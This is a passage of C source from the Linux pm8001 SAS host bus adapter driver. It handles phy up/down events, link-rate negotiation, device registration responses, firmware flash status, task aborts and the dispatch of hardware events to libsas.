pm8001_printk("%x phy execute %x phy op failed!\n",
phy_id, phy_op));
} else
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("%x phy execute %x phy op success!\n",
phy_id, phy_op));
return 0;
}
/**
* pm8001_bytes_dmaed - one of the interface function communication with libsas
* @pm8001_ha: our hba card information
* @i: which phy that received the event.
*
* when HBA driver received the identify done event or initiate FIS received
* event(for SATA), it will invoke this function to notify the sas layer that
* the sas toplogy has formed, please discover the the whole sas domain,
* while receive a broadcast(change) primitive just tell the sas
* layer to discover the changed domain rather than the whole domain.
*/
void pm8001_bytes_dmaed(struct pm8001_hba_info *pm8001_ha, int i)
{
struct pm8001_phy *phy = &pm8001_ha->phy[i];
struct asd_sas_phy *sas_phy = &phy->sas_phy;
struct sas_ha_struct *sas_ha;
if (!phy->phy_attached)
return;
sas_ha = pm8001_ha->sas;
if (sas_phy->phy) {
struct sas_phy *sphy = sas_phy->phy;
sphy->negotiated_linkrate = sas_phy->linkrate;
sphy->minimum_linkrate = phy->minimum_linkrate;
sphy->minimum_linkrate_hw = SAS_LINK_RATE_1_5_GBPS;
sphy->maximum_linkrate = phy->maximum_linkrate;
sphy->maximum_linkrate_hw = phy->maximum_linkrate;
}
if (phy->phy_type & PORT_TYPE_SAS) {
struct sas_identify_frame *id;
id = (struct sas_identify_frame *)phy->frame_rcvd;
id->dev_type = phy->identify.device_type;
id->initiator_bits = SAS_PROTOCOL_ALL;
id->target_bits = phy->identify.target_port_protocols;
} else if (phy->phy_type & PORT_TYPE_SATA) {
/*Nothing*/
}
PM8001_MSG_DBG(pm8001_ha, pm8001_printk("phy %d byte dmaded.\n", i));
sas_phy->frame_rcvd_size = phy->frame_rcvd_size;
pm8001_ha->sas->notify_port_event(sas_phy, PORTE_BYTES_DMAED);
}
/* Get the link rate speed */
void pm8001_get_lrate_mode(struct pm8001_phy *phy, u8 link_rate)
{
struct sas_phy *sas_phy = phy->sas_phy.phy;
switch (link_rate) {
case PHY_SPEED_60:
phy->sas_phy.linkrate = SAS_LINK_RATE_6_0_GBPS;
phy->sas_phy.phy->negotiated_linkrate = SAS_LINK_RATE_6_0_GBPS;
break;
case PHY_SPEED_30:
phy->sas_phy.linkrate = SAS_LINK_RATE_3_0_GBPS;
phy->sas_phy.phy->negotiated_linkrate = SAS_LINK_RATE_3_0_GBPS;
break;
case PHY_SPEED_15:
phy->sas_phy.linkrate = SAS_LINK_RATE_1_5_GBPS;
phy->sas_phy.phy->negotiated_linkrate = SAS_LINK_RATE_1_5_GBPS;
break;
}
sas_phy->negotiated_linkrate = phy->sas_phy.linkrate;
sas_phy->maximum_linkrate_hw = SAS_LINK_RATE_6_0_GBPS;
sas_phy->minimum_linkrate_hw = SAS_LINK_RATE_1_5_GBPS;
sas_phy->maximum_linkrate = SAS_LINK_RATE_6_0_GBPS;
sas_phy->minimum_linkrate = SAS_LINK_RATE_1_5_GBPS;
}
/**
* asd_get_attached_sas_addr -- extract/generate attached SAS address
* @phy: pointer to asd_phy
* @sas_addr: pointer to buffer where the SAS address is to be written
*
* This function extracts the SAS address from an IDENTIFY frame
* received. If OOB is SATA, then a SAS address is generated from the
* HA tables.
*
* LOCKING: the frame_rcvd_lock needs to be held since this parses the frame
* buffer.
*/
void pm8001_get_attached_sas_addr(struct pm8001_phy *phy,
u8 *sas_addr)
{
if (phy->sas_phy.frame_rcvd[0] == 0x34
&& phy->sas_phy.oob_mode == SATA_OOB_MODE) {
struct pm8001_hba_info *pm8001_ha = phy->sas_phy.ha->lldd_ha;
/* FIS device-to-host */
u64 addr = be64_to_cpu(*(__be64 *)pm8001_ha->sas_addr);
addr += phy->sas_phy.id;
*(__be64 *)sas_addr = cpu_to_be64(addr);
} else {
struct sas_identify_frame *idframe =
(void *) phy->sas_phy.frame_rcvd;
memcpy(sas_addr, idframe->sas_addr, SAS_ADDR_SIZE);
}
}
/**
* pm8001_hw_event_ack_req- For PM8001,some events need to acknowage to FW.
* @pm8001_ha: our hba card information
* @Qnum: the outbound queue message number.
* @SEA: source of event to ack
* @port_id: port id.
* @phyId: phy id.
* @param0: parameter 0.
* @param1: parameter 1.
*/
static void pm8001_hw_event_ack_req(struct pm8001_hba_info *pm8001_ha,
u32 Qnum, u32 SEA, u32 port_id, u32 phyId, u32 param0, u32 param1)
{
struct hw_event_ack_req payload;
u32 opc = OPC_INB_SAS_HW_EVENT_ACK;
struct inbound_queue_table *circularQ;
memset((u8 *)&payload, 0, sizeof(payload));
circularQ = &pm8001_ha->inbnd_q_tbl[Qnum];
payload.tag = cpu_to_le32(1);
payload.sea_phyid_portid = cpu_to_le32(((SEA & 0xFFFF) << 8) |
((phyId & 0x0F) << 4) | (port_id & 0x0F));
payload.param0 = cpu_to_le32(param0);
payload.param1 = cpu_to_le32(param1);
pm8001_mpi_build_cmd(pm8001_ha, circularQ, opc, &payload, 0);
}
static int pm8001_chip_phy_ctl_req(struct pm8001_hba_info *pm8001_ha,
u32 phyId, u32 phy_op);
/**
* hw_event_sas_phy_up -FW tells me a SAS phy up event.
* @pm8001_ha: our hba card information
* @piomb: IO message buffer
*/
static void
hw_event_sas_phy_up(struct pm8001_hba_info *pm8001_ha, void *piomb)
{
struct hw_event_resp *pPayload =
(struct hw_event_resp *)(piomb + 4);
u32 lr_evt_status_phyid_portid =
le32_to_cpu(pPayload->lr_evt_status_phyid_portid);
u8 link_rate =
(u8)((lr_evt_status_phyid_portid & 0xF0000000) >> 28);
u8 port_id = (u8)(lr_evt_status_phyid_portid & 0x0000000F);
u8 phy_id =
(u8)((lr_evt_status_phyid_portid & 0x000000F0) >> 4);
u32 npip_portstate = le32_to_cpu(pPayload->npip_portstate);
u8 portstate = (u8)(npip_portstate & 0x0000000F);
struct pm8001_port *port = &pm8001_ha->port[port_id];
struct sas_ha_struct *sas_ha = pm8001_ha->sas;
struct pm8001_phy *phy = &pm8001_ha->phy[phy_id];
unsigned long flags;
u8 deviceType = pPayload->sas_identify.dev_type;
port->port_state = portstate;
phy->phy_state = PHY_STATE_LINK_UP_SPC;
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_SAS_PHY_UP port id = %d, phy id = %d\n",
port_id, phy_id));
switch (deviceType) {
case SAS_PHY_UNUSED:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("device type no device.\n"));
break;
case SAS_END_DEVICE:
PM8001_MSG_DBG(pm8001_ha, pm8001_printk("end device.\n"));
pm8001_chip_phy_ctl_req(pm8001_ha, phy_id,
PHY_NOTIFY_ENABLE_SPINUP);
port->port_attached = 1;
pm8001_get_lrate_mode(phy, link_rate);
break;
case SAS_EDGE_EXPANDER_DEVICE:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("expander device.\n"));
port->port_attached = 1;
pm8001_get_lrate_mode(phy, link_rate);
break;
case SAS_FANOUT_EXPANDER_DEVICE:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("fanout expander device.\n"));
port->port_attached = 1;
pm8001_get_lrate_mode(phy, link_rate);
break;
default:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("unknown device type(%x)\n", deviceType));
break;
}
phy->phy_type |= PORT_TYPE_SAS;
phy->identify.device_type = deviceType;
phy->phy_attached = 1;
if (phy->identify.device_type == SAS_END_DEVICE)
phy->identify.target_port_protocols = SAS_PROTOCOL_SSP;
else if (phy->identify.device_type != SAS_PHY_UNUSED)
phy->identify.target_port_protocols = SAS_PROTOCOL_SMP;
phy->sas_phy.oob_mode = SAS_OOB_MODE;
sas_ha->notify_phy_event(&phy->sas_phy, PHYE_OOB_DONE);
spin_lock_irqsave(&phy->sas_phy.frame_rcvd_lock, flags);
memcpy(phy->frame_rcvd, &pPayload->sas_identify,
sizeof(struct sas_identify_frame)-4);
phy->frame_rcvd_size = sizeof(struct sas_identify_frame) - 4;
pm8001_get_attached_sas_addr(phy, phy->sas_phy.attached_sas_addr);
spin_unlock_irqrestore(&phy->sas_phy.frame_rcvd_lock, flags);
if (pm8001_ha->flags == PM8001F_RUN_TIME)
mdelay(200);/*delay a moment to wait disk to spinup*/
pm8001_bytes_dmaed(pm8001_ha, phy_id);
}
/**
* hw_event_sata_phy_up -FW tells me a SATA phy up event.
* @pm8001_ha: our hba card information
* @piomb: IO message buffer
*/
static void
hw_event_sata_phy_up(struct pm8001_hba_info *pm8001_ha, void *piomb)
{
struct hw_event_resp *pPayload =
(struct hw_event_resp *)(piomb + 4);
u32 lr_evt_status_phyid_portid =
le32_to_cpu(pPayload->lr_evt_status_phyid_portid);
u8 link_rate =
(u8)((lr_evt_status_phyid_portid & 0xF0000000) >> 28);
u8 port_id = (u8)(lr_evt_status_phyid_portid & 0x0000000F);
u8 phy_id =
(u8)((lr_evt_status_phyid_portid & 0x000000F0) >> 4);
u32 npip_portstate = le32_to_cpu(pPayload->npip_portstate);
u8 portstate = (u8)(npip_portstate & 0x0000000F);
struct pm8001_port *port = &pm8001_ha->port[port_id];
struct sas_ha_struct *sas_ha = pm8001_ha->sas;
struct pm8001_phy *phy = &pm8001_ha->phy[phy_id];
unsigned long flags;
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_SATA_PHY_UP port id = %d,"
" phy id = %d\n", port_id, phy_id));
port->port_state = portstate;
phy->phy_state = PHY_STATE_LINK_UP_SPC;
port->port_attached = 1;
pm8001_get_lrate_mode(phy, link_rate);
phy->phy_type |= PORT_TYPE_SATA;
phy->phy_attached = 1;
phy->sas_phy.oob_mode = SATA_OOB_MODE;
sas_ha->notify_phy_event(&phy->sas_phy, PHYE_OOB_DONE);
spin_lock_irqsave(&phy->sas_phy.frame_rcvd_lock, flags);
memcpy(phy->frame_rcvd, ((u8 *)&pPayload->sata_fis - 4),
sizeof(struct dev_to_host_fis));
phy->frame_rcvd_size = sizeof(struct dev_to_host_fis);
phy->identify.target_port_protocols = SAS_PROTOCOL_SATA;
phy->identify.device_type = SAS_SATA_DEV;
pm8001_get_attached_sas_addr(phy, phy->sas_phy.attached_sas_addr);
spin_unlock_irqrestore(&phy->sas_phy.frame_rcvd_lock, flags);
pm8001_bytes_dmaed(pm8001_ha, phy_id);
}
/**
* hw_event_phy_down -we should notify the libsas the phy is down.
* @pm8001_ha: our hba card information
* @piomb: IO message buffer
*/
static void
hw_event_phy_down(struct pm8001_hba_info *pm8001_ha, void *piomb)
{
struct hw_event_resp *pPayload =
(struct hw_event_resp *)(piomb + 4);
u32 lr_evt_status_phyid_portid =
le32_to_cpu(pPayload->lr_evt_status_phyid_portid);
u8 port_id = (u8)(lr_evt_status_phyid_portid & 0x0000000F);
u8 phy_id =
(u8)((lr_evt_status_phyid_portid & 0x000000F0) >> 4);
u32 npip_portstate = le32_to_cpu(pPayload->npip_portstate);
u8 portstate = (u8)(npip_portstate & 0x0000000F);
struct pm8001_port *port = &pm8001_ha->port[port_id];
struct pm8001_phy *phy = &pm8001_ha->phy[phy_id];
port->port_state = portstate;
phy->phy_type = 0;
phy->identify.device_type = 0;
phy->phy_attached = 0;
memset(&phy->dev_sas_addr, 0, SAS_ADDR_SIZE);
switch (portstate) {
case PORT_VALID:
break;
case PORT_INVALID:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(" PortInvalid portID %d\n", port_id));
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(" Last phy Down and port invalid\n"));
port->port_attached = 0;
pm8001_hw_event_ack_req(pm8001_ha, 0, HW_EVENT_PHY_DOWN,
port_id, phy_id, 0, 0);
break;
case PORT_IN_RESET:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(" Port In Reset portID %d\n", port_id));
break;
case PORT_NOT_ESTABLISHED:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(" phy Down and PORT_NOT_ESTABLISHED\n"));
port->port_attached = 0;
break;
case PORT_LOSTCOMM:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(" phy Down and PORT_LOSTCOMM\n"));
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(" Last phy Down and port invalid\n"));
port->port_attached = 0;
pm8001_hw_event_ack_req(pm8001_ha, 0, HW_EVENT_PHY_DOWN,
port_id, phy_id, 0, 0);
break;
default:
port->port_attached = 0;
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(" phy Down and(default) = %x\n",
portstate));
break;
}
}
/**
* pm8001_mpi_reg_resp -process register device ID response.
* @pm8001_ha: our hba card information
* @piomb: IO message buffer
*
* when sas layer find a device it will notify LLDD, then the driver register
* the domain device to FW, this event is the return device ID which the FW
* has assigned, from now,inter-communication with FW is no longer using the
* SAS address, use device ID which FW assigned.
*/
int pm8001_mpi_reg_resp(struct pm8001_hba_info *pm8001_ha, void *piomb)
{
u32 status;
u32 device_id;
u32 htag;
struct pm8001_ccb_info *ccb;
struct pm8001_device *pm8001_dev;
struct dev_reg_resp *registerRespPayload =
(struct dev_reg_resp *)(piomb + 4);
htag = le32_to_cpu(registerRespPayload->tag);
ccb = &pm8001_ha->ccb_info[htag];
pm8001_dev = ccb->device;
status = le32_to_cpu(registerRespPayload->status);
device_id = le32_to_cpu(registerRespPayload->device_id);
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(" register device is status = %d\n", status));
switch (status) {
case DEVREG_SUCCESS:
PM8001_MSG_DBG(pm8001_ha, pm8001_printk("DEVREG_SUCCESS\n"));
pm8001_dev->device_id = device_id;
break;
case DEVREG_FAILURE_OUT_OF_RESOURCE:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("DEVREG_FAILURE_OUT_OF_RESOURCE\n"));
break;
case DEVREG_FAILURE_DEVICE_ALREADY_REGISTERED:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("DEVREG_FAILURE_DEVICE_ALREADY_REGISTERED\n"));
break;
case DEVREG_FAILURE_INVALID_PHY_ID:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("DEVREG_FAILURE_INVALID_PHY_ID\n"));
break;
case DEVREG_FAILURE_PHY_ID_ALREADY_REGISTERED:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("DEVREG_FAILURE_PHY_ID_ALREADY_REGISTERED\n"));
break;
case DEVREG_FAILURE_PORT_ID_OUT_OF_RANGE:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("DEVREG_FAILURE_PORT_ID_OUT_OF_RANGE\n"));
break;
case DEVREG_FAILURE_PORT_NOT_VALID_STATE:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("DEVREG_FAILURE_PORT_NOT_VALID_STATE\n"));
break;
case DEVREG_FAILURE_DEVICE_TYPE_NOT_VALID:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("DEVREG_FAILURE_DEVICE_TYPE_NOT_VALID\n"));
break;
default:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("DEVREG_FAILURE_DEVICE_TYPE_NOT_UNSORPORTED\n"));
break;
}
complete(pm8001_dev->dcompletion);
ccb->task = NULL;
ccb->ccb_tag = 0xFFFFFFFF;
pm8001_tag_free(pm8001_ha, htag);
return 0;
}
int pm8001_mpi_dereg_resp(struct pm8001_hba_info *pm8001_ha, void *piomb)
{
u32 status;
u32 device_id;
struct dev_reg_resp *registerRespPayload =
(struct dev_reg_resp *)(piomb + 4);
status = le32_to_cpu(registerRespPayload->status);
device_id = le32_to_cpu(registerRespPayload->device_id);
if (status != 0)
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(" deregister device failed ,status = %x"
", device_id = %x\n", status, device_id));
return 0;
}
/**
* fw_flash_update_resp - Response from FW for flash update command.
* @pm8001_ha: our hba card information
* @piomb: IO message buffer
*/
int pm8001_mpi_fw_flash_update_resp(struct pm8001_hba_info *pm8001_ha,
void *piomb)
{
u32 status;
struct fw_flash_Update_resp *ppayload =
(struct fw_flash_Update_resp *)(piomb + 4);
u32 tag = le32_to_cpu(ppayload->tag);
struct pm8001_ccb_info *ccb = &pm8001_ha->ccb_info[tag];
status = le32_to_cpu(ppayload->status);
switch (status) {
case FLASH_UPDATE_COMPLETE_PENDING_REBOOT:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(": FLASH_UPDATE_COMPLETE_PENDING_REBOOT\n"));
break;
case FLASH_UPDATE_IN_PROGRESS:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(": FLASH_UPDATE_IN_PROGRESS\n"));
break;
case FLASH_UPDATE_HDR_ERR:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(": FLASH_UPDATE_HDR_ERR\n"));
break;
case FLASH_UPDATE_OFFSET_ERR:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(": FLASH_UPDATE_OFFSET_ERR\n"));
break;
case FLASH_UPDATE_CRC_ERR:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(": FLASH_UPDATE_CRC_ERR\n"));
break;
case FLASH_UPDATE_LENGTH_ERR:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(": FLASH_UPDATE_LENGTH_ERR\n"));
break;
case FLASH_UPDATE_HW_ERR:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(": FLASH_UPDATE_HW_ERR\n"));
break;
case FLASH_UPDATE_DNLD_NOT_SUPPORTED:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(": FLASH_UPDATE_DNLD_NOT_SUPPORTED\n"));
break;
case FLASH_UPDATE_DISABLED:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(": FLASH_UPDATE_DISABLED\n"));
break;
default:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("No matched status = %d\n", status));
break;
}
kfree(ccb->fw_control_context);
ccb->task = NULL;
ccb->ccb_tag = 0xFFFFFFFF;
pm8001_tag_free(pm8001_ha, tag);
complete(pm8001_ha->nvmd_completion);
return 0;
}
int pm8001_mpi_general_event(struct pm8001_hba_info *pm8001_ha , void *piomb)
{
u32 status;
int i;
struct general_event_resp *pPayload =
(struct general_event_resp *)(piomb + 4);
status = le32_to_cpu(pPayload->status);
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk(" status = 0x%x\n", status));
for (i = 0; i < GENERAL_EVENT_PAYLOAD; i++)
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("inb_IOMB_payload[0x%x] 0x%x,\n", i,
pPayload->inb_IOMB_payload[i]));
return 0;
}
int pm8001_mpi_task_abort_resp(struct pm8001_hba_info *pm8001_ha, void *piomb)
{
struct sas_task *t;
struct pm8001_ccb_info *ccb;
unsigned long flags;
u32 status ;
u32 tag, scp;
struct task_status_struct *ts;
struct pm8001_device *pm8001_dev;
struct task_abort_resp *pPayload =
(struct task_abort_resp *)(piomb + 4);
status = le32_to_cpu(pPayload->status);
tag = le32_to_cpu(pPayload->tag);
if (!tag) {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk(" TAG NULL. RETURNING !!!"));
return -1;
}
scp = le32_to_cpu(pPayload->scp);
ccb = &pm8001_ha->ccb_info[tag];
t = ccb->task;
pm8001_dev = ccb->device; /* retrieve device */
if (!t) {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk(" TASK NULL. RETURNING !!!"));
return -1;
}
ts = &t->task_status;
if (status != 0)
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("task abort failed status 0x%x ,"
"tag = 0x%x, scp= 0x%x\n", status, tag, scp));
switch (status) {
case IO_SUCCESS:
PM8001_EH_DBG(pm8001_ha, pm8001_printk("IO_SUCCESS\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAM_STAT_GOOD;
break;
case IO_NOT_VALID:
PM8001_EH_DBG(pm8001_ha, pm8001_printk("IO_NOT_VALID\n"));
ts->resp = TMF_RESP_FUNC_FAILED;
break;
}
spin_lock_irqsave(&t->task_state_lock, flags);
t->task_state_flags &= ~SAS_TASK_STATE_PENDING;
t->task_state_flags &= ~SAS_TASK_AT_INITIATOR;
t->task_state_flags |= SAS_TASK_STATE_DONE;
spin_unlock_irqrestore(&t->task_state_lock, flags);
pm8001_ccb_task_free(pm8001_ha, t, ccb, tag);
mb();
if (pm8001_dev->id & NCQ_ABORT_ALL_FLAG) {
pm8001_tag_free(pm8001_ha, tag);
sas_free_task(t);
/* clear the flag */
pm8001_dev->id &= 0xBFFFFFFF;
} else
t->task_done(t);
return 0;
}
/**
* mpi_hw_event -The hw event has come.
* @pm8001_ha: our hba card information
* @piomb: IO message buffer
*/
static int mpi_hw_event(struct pm8001_hba_info *pm8001_ha, void* piomb)
{
unsigned long flags;
struct hw_event_resp *pPayload =
(struct hw_event_resp *)(piomb + 4);
u32 lr_evt_status_phyid_portid =
le32_to_cpu(pPayload->lr_evt_status_phyid_portid);
u8 port_id = (u8)(lr_evt_status_phyid_portid & 0x0000000F);
u8 phy_id =
(u8)((lr_evt_status_phyid_portid & 0x000000F0) >> 4);
u16 eventType =
(u16)((lr_evt_status_phyid_portid & 0x00FFFF00) >> 8);
u8 status =
(u8)((lr_evt_status_phyid_portid & 0x0F000000) >> 24);
struct sas_ha_struct *sas_ha = pm8001_ha->sas;
struct pm8001_phy *phy = &pm8001_ha->phy[phy_id];
struct asd_sas_phy *sas_phy = sas_ha->sas_phy[phy_id];
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("outbound queue HW event & event type : "));
switch (eventType) {
case HW_EVENT_PHY_START_STATUS:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_PHY_START_STATUS"
" status = %x\n", status));
if (status == 0) {
phy->phy_state = 1;
if (pm8001_ha->flags == PM8001F_RUN_TIME)
complete(phy->enable_completion);
}
break;
case HW_EVENT_SAS_PHY_UP:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_PHY_START_STATUS\n"));
hw_event_sas_phy_up(pm8001_ha, piomb);
break;
case HW_EVENT_SATA_PHY_UP:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_SATA_PHY_UP\n"));
hw_event_sata_phy_up(pm8001_ha, piomb);
break;
case HW_EVENT_PHY_STOP_STATUS:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_PHY_STOP_STATUS "
"status = %x\n", status));
if (status == 0)
phy->phy_state = 0;
break;
case HW_EVENT_SATA_SPINUP_HOLD:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_SATA_SPINUP_HOLD\n"));
sas_ha->notify_phy_event(&phy->sas_phy, PHYE_SPINUP_HOLD);
break;
case HW_EVENT_PHY_DOWN:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_PHY_DOWN\n"));
sas_ha->notify_phy_event(&phy->sas_phy, PHYE_LOSS_OF_SIGNAL);
phy->phy_attached = 0;
phy->phy_state = 0;
hw_event_phy_down(pm8001_ha, piomb);
break;
case HW_EVENT_PORT_INVALID:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_PORT_INVALID\n"));
sas_phy_disconnected(sas_phy);
phy->phy_attached = 0;
sas_ha->notify_port_event(sas_phy, PORTE_LINK_RESET_ERR);
break;
/* the broadcast change primitive received, tell the LIBSAS this event
to revalidate the sas domain*/
case HW_EVENT_BROADCAST_CHANGE:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_BROADCAST_CHANGE\n"));
pm8001_hw_event_ack_req(pm8001_ha, 0, HW_EVENT_BROADCAST_CHANGE,
port_id, phy_id, 1, 0);
spin_lock_irqsave(&sas_phy->sas_prim_lock, flags);
sas_phy->sas_prim = HW_EVENT_BROADCAST_CHANGE;
spin_unlock_irqrestore(&sas_phy->sas_prim_lock, flags);
sas_ha->notify_port_event(sas_phy, PORTE_BROADCAST_RCVD);
break;
case HW_EVENT_PHY_ERROR:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_PHY_ERROR\n"));
sas_phy_disconnected(&phy->sas_phy);
phy->phy_attached = 0;
sas_ha->notify_phy_event(&phy->sas_phy, PHYE_OOB_ERROR);
break;
case HW_EVENT_BROADCAST_EXP:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_BROADCAST_EXP\n"));
spin_lock_irqsave(&sas_phy->sas_prim_lock, flags);
sas_phy->sas_prim = HW_EVENT_BROADCAST_EXP;
spin_unlock_irqrestore(&sas_phy->sas_prim_lock, flags);
sas_ha->notify_port_event(sas_phy, PORTE_BROADCAST_RCVD);
break;
case HW_EVENT_LINK_ERR_INVALID_DWORD:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_LINK_ERR_INVALID_DWORD\n"));
pm8001_hw_event_ack_req(pm8001_ha, 0,
HW_EVENT_LINK_ERR_INVALID_DWORD, port_id, phy_id, 0, 0);
sas_phy_disconnected(sas_phy);
phy->phy_attached = 0;
sas_ha->notify_port_event(sas_phy, PORTE_LINK_RESET_ERR);
break;
case HW_EVENT_LINK_ERR_DISPARITY_ERROR:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_LINK_ERR_DISPARITY_ERROR\n"));
pm8001_hw_event_ack_req(pm8001_ha, 0,
HW_EVENT_LINK_ERR_DISPARITY_ERROR,
port_id, phy_id, 0, 0);
sas_phy_disconnected(sas_phy);
phy->phy_attached = 0;
sas_ha->notify_port_event(sas_phy, PORTE_LINK_RESET_ERR);
break;
case HW_EVENT_LINK_ERR_CODE_VIOLATION:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_LINK_ERR_CODE_VIOLATION\n"));
pm8001_hw_event_ack_req(pm8001_ha, 0,
HW_EVENT_LINK_ERR_CODE_VIOLATION,
port_id, phy_id, 0, 0);
sas_phy_disconnected(sas_phy);
phy->phy_attached = 0;
sas_ha->notify_port_event(sas_phy, PORTE_LINK_RESET_ERR);
break;
case HW_EVENT_LINK_ERR_LOSS_OF_DWORD_SYNCH:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_LINK_ERR_LOSS_OF_DWORD_SYNCH\n"));
pm8001_hw_event_ack_req(pm8001_ha, 0,
HW_EVENT_LINK_ERR_LOSS_OF_DWORD_SYNCH,
port_id, phy_id, 0, 0);
sas_phy_disconnected(sas_phy);
phy->phy_attached = 0;
sas_ha->notify_port_event(sas_phy, PORTE_LINK_RESET_ERR);
break;
case HW_EVENT_MALFUNCTION:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_MALFUNCTION\n"));
break;
case HW_EVENT_BROADCAST_SES:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_BROADCAST_SES\n"));
spin_lock_irqsave(&sas_phy->sas_prim_lock, flags);
sas_phy->sas_prim = HW_EVENT_BROADCAST_SES;
spin_unlock_irqrestore(&sas_phy->sas_prim_lock, flags);
sas_ha->notify_port_event(sas_phy, PORTE_BROADCAST_RCVD);
break;
case HW_EVENT_INBOUND_CRC_ERROR:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_INBOUND_CRC_ERROR\n"));
pm8001_hw_event_ack_req(pm8001_ha, 0,
HW_EVENT_INBOUND_CRC_ERROR,
port_id, phy_id, 0, 0);
break;
case HW_EVENT_HARD_RESET_RECEIVED:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_HARD_RESET_RECEIVED\n"));
sas_ha->notify_port_event(sas_phy, PORTE_HARD_RESET);
break;
case HW_EVENT_ID_FRAME_TIMEOUT:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_ID_FRAME_TIMEOUT\n"));
sas_phy_disconnected(sas_phy);
phy->phy_attached = 0;
sas_ha->notify_port_event(sas_phy, PORTE_LINK_RESET_ERR);
break;
case HW_EVENT_LINK_ERR_PHY_RESET_FAILED:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_LINK_ERR_PHY_RESET_FAILED\n"));
pm8001_hw_event_ack_req(pm8001_ha, 0,
HW_EVENT_LINK_ERR_PHY_RESET_FAILED,
port_id, phy_id, 0, 0);
sas_phy_disconnected(sas_phy);
phy->phy_attached = 0;
sas_ha->notify_port_event(sas_phy, PORTE_LINK_RESET_ERR);
break;
case HW_EVENT_PORT_RESET_TIMER_TMO:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_PORT_RESET_TIMER_TMO\n"));
sas_phy_disconnected(sas_phy);
phy->phy_attached = 0;
sas_ha->notify_port_event(sas_phy, PORTE_LINK_RESET_ERR);
break;
case HW_EVENT_PORT_RECOVERY_TIMER_TMO:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_PORT_RECOVERY_TIMER_TMO\n"));
sas_phy_disconnected(sas_phy);
phy->phy_attached = 0;
sas_ha->notify_port_event(sas_phy, PORTE_LINK_RESET_ERR);
break;
case HW_EVENT_PORT_RECOVER:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_PORT_RECOVER\n"));
break;
case HW_EVENT_PORT_RESET_COMPLETE:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("HW_EVENT_PORT_RESET_COMPLETE\n"));
break;
case EVENT_BROADCAST_ASYNCH_EVENT:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("EVENT_BROADCAST_ASYNCH_EVENT\n"));
break;
default:
PM8001_MSG_DBG(pm8001_ha,
pm8001_printk("Unknown event type = %x\n", eventType));
break;
}
return 0;
}
/**
* process_one_iomb - process one outbound Queue memory block
* @pm8001_ha: our hba card information
* @piomb: IO message buffer
*/
static void process_one_iomb(struct pm8001_hba_info *pm8001_ha, void *piomb)
{
__le32 pHeader = *(__le32 *)piomb;
u8 opc = (u8)((le32_to_cpu(pHeader)) & 0xFFF);
PM8001_MSG_DBG(pm8001_ha, pm8001_printk("process_one_iomb:"));
